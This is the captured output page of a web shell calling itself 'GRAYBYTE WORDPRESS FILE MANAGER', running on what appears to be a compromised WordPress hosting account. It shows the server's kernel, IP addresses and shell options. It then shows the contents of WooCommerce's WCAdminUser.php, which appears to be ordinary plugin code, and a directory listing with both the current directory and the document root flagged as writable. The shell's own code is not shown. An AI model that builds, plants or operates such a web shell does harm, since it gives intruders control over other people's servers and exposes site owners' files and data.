✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.95
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/src/Internal/Admin//WCAdminUser.php
<?php

namespace Automattic\WooCommerce\Internal\Admin;

/**
 * WCAdminUser Class.
 */
class WCAdminUser {

	/**
	 * Class instance.
	 *
	 * @var WCAdminUser instance
	 */
	protected static $instance = null;

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'rest_api_init', array( $this, 'register_user_data' ) );
	}

	/**
	 * Get class instance.
	 *
	 * @return object Instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Registers WooCommerce specific user data to the WordPress user API.
	 */
	public function register_user_data() {
		register_rest_field(
			'user',
			'is_super_admin',
			array(
				'get_callback' => function( $user ) {
					if ( ! isset( $user['id'] ) || 0 === $user['id'] ) {
						return false;
					}

					return is_super_admin( $user['id'] );
				},
				'schema'       => null,
			)
		);
		register_rest_field(
			'user',
			'woocommerce_meta',
			array(
				'get_callback'    => array( $this, 'get_user_data_values' ),
				'update_callback' => array( $this, 'update_user_data_values' ),
				'schema'          => null,
			)
		);
	}

	/**
	 * For all the registered user data fields (  Loader::get_user_data_fields ), fetch the data
	 * for returning via the REST API.
	 *
	 * @param WP_User $user Current user.
	 */
	public function get_user_data_values( $user ) {
		$values = array();
		foreach ( $this->get_user_data_fields() as $field ) {
			$values[ $field ] = self::get_user_data_field( $user['id'], $field );
		}
		return $values;
	}

	/**
	 * For all the registered user data fields ( Loader::get_user_data_fields ), update the data
	 * for the REST API.
	 *
	 * @param array   $values   The new values for the meta.
	 * @param WP_User $user     The current user.
	 * @param string  $field_id The field id for the user meta.
	 */
	public function update_user_data_values( $values, $user, $field_id ) {
		if ( empty( $values ) || ! is_array( $values ) || 'woocommerce_meta' !== $field_id ) {
			return;
		}
		$fields  = $this->get_user_data_fields();
		$updates = array();
		foreach ( $values as $field => $value ) {
			if ( in_array( $field, $fields, true ) ) {
				$updates[ $field ] = $value;
				self::update_user_data_field( $user->ID, $field, $value );
			}
		}
		return $updates;
	}

	/**
	 * We store some WooCommerce specific user meta attached to users endpoint,
	 * so that we can track certain preferences or values such as the inbox activity panel last open time.
	 * Additional fields can be added in the function below, and then used via wc-admin's currentUser data.
	 *
	 * @return array Fields to expose over the WP user endpoint.
	 */
	public function get_user_data_fields() {
		/**
		 * Filter user data fields exposed over the WordPress user endpoint.
		 *
		 * @since 4.0.0
		 * @param array $fields Array of fields to expose over the WP user endpoint.
		 */
		return apply_filters( 'woocommerce_admin_get_user_data_fields', array( 'variable_product_tour_shown' ) );
	}

	/**
	 * Helper to update user data fields.
	 *
	 * @param int    $user_id  User ID.
	 * @param string $field Field name.
	 * @param mixed  $value  Field value.
	 */
	public static function update_user_data_field( $user_id, $field, $value ) {
		update_user_meta( $user_id, 'woocommerce_admin_' . $field, $value );
	}

	/**
	 * Helper to retrieve user data fields.
	 *
	 * Migrates old key prefixes as well.
	 *
	 * @param int    $user_id  User ID.
	 * @param string $field Field name.
	 * @return mixed The user field value.
	 */
	public static function get_user_data_field( $user_id, $field ) {
		$meta_value = get_user_meta( $user_id, 'woocommerce_admin_' . $field, true );

		// Migrate old meta values (prefix changed from `wc_admin_` to `woocommerce_admin_`).
		if ( '' === $meta_value ) {
			$old_meta_value = get_user_meta( $user_id, 'wc_admin_' . $field, true );

			if ( '' !== $old_meta_value ) {
				self::update_user_data_field( $user_id, $field, $old_meta_value );
				delete_user_meta( $user_id, 'wc_admin_' . $field );

				$meta_value = $old_meta_value;
			}
		}

		return $meta_value;
	}

	/**
	 * Get the current user data.
	 *
	 * @return array User data.
	 */
	public static function get_user_data() {
		$user_controller = new \WP_REST_Users_Controller();
		$request         = new \WP_REST_Request();
		$request->set_query_params( array( 'context' => 'edit' ) );
		$user_response     = $user_controller->get_current_item( $request );
		$current_user_data = is_wp_error( $user_response ) ? (object) array() : $user_response->get_data();
		$current_user_data = self::filter_user_capabilities( $current_user_data );

		return $current_user_data;
	}

	/**
	 * Filter user capabilities to respect file modification restrictions.
	 *
	 * @param array $user_data User data.
	 * @return array Filtered user data.
	 */
	private static function filter_user_capabilities( $user_data ) {
		if ( ! is_array( $user_data ) || ! isset( $user_data['capabilities'] ) ) {
			return $user_data;
		}

		// If the user has install_plugins capability, check if file modifications are allowed.
		if ( isset( $user_data['capabilities']->install_plugins ) && $user_data['capabilities']->install_plugins ) {
			$user_data['capabilities']->install_plugins = wp_is_file_mod_allowed( 'woocommerce' );
		}

		return $user_data;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Agentic
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
BlockTemplates
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
EmailImprovements
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
EmailPreview
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Emails
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ImportExport
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Logging
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Marketing
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Notes
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Onboarding
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Orders
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ProductForm
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ProductReviews
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
RemoteFreeExtensions
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Schedulers
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Settings
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Suggestions
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
WCPayPromotion
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ActivityPanels.php
1.578 KB
24 Aug 2022 2.07 AM
tdhomesa / tdhomesa
0644
Analytics.php
11.784 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
CategoryLookup.php
7.988 KB
20 Apr 2022 6.50 AM
tdhomesa / tdhomesa
0644
Coupons.php
2.859 KB
14 Nov 2024 1.17 AM
tdhomesa / tdhomesa
0644
CouponsMovedTrait.php
2.412 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
CustomerEffortScoreTracks.php
17.652 KB
24 Nov 2025 11.10 PM
tdhomesa / tdhomesa
0644
Events.php
8.538 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
FeaturePlugin.php
6.766 KB
23 Feb 2026 5.58 PM
tdhomesa / tdhomesa
0644
Homescreen.php
8.697 KB
11 May 2026 5.17 PM
tdhomesa / tdhomesa
0644
Loader.php
19.183 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Marketing.php
6.289 KB
14 Nov 2024 1.17 AM
tdhomesa / tdhomesa
0644
Marketplace.php
3.478 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
MobileAppBanner.php
0.934 KB
20 Apr 2022 6.50 AM
tdhomesa / tdhomesa
0644
RemoteInboxNotifications.php
0.91 KB
21 Mar 2023 8.45 PM
tdhomesa / tdhomesa
0644
Settings.php
14.613 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
ShippingLabelBanner.php
4.667 KB
23 Sep 2024 8.44 PM
tdhomesa / tdhomesa
0644
ShippingLabelBannerDisplayRules.php
3.631 KB
4 Sep 2024 8.34 PM
tdhomesa / tdhomesa
0644
SiteHealth.php
2.314 KB
22 Feb 2023 7.17 AM
tdhomesa / tdhomesa
0644
Survey.php
0.75 KB
20 Apr 2022 6.50 AM
tdhomesa / tdhomesa
0644
SystemStatusReport.php
5.85 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Translations.php
11.662 KB
14 Nov 2024 1.17 AM
tdhomesa / tdhomesa
0644
WCAdminAssets.php
17.744 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
WCAdminSharedSettings.php
2.078 KB
22 Apr 2025 3.40 PM
tdhomesa / tdhomesa
0644
WCAdminUser.php
5.264 KB
6 Oct 2025 5.56 PM
tdhomesa / tdhomesa
0644
WcPayWelcomePage.php
6.329 KB
23 Jun 2025 7.46 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF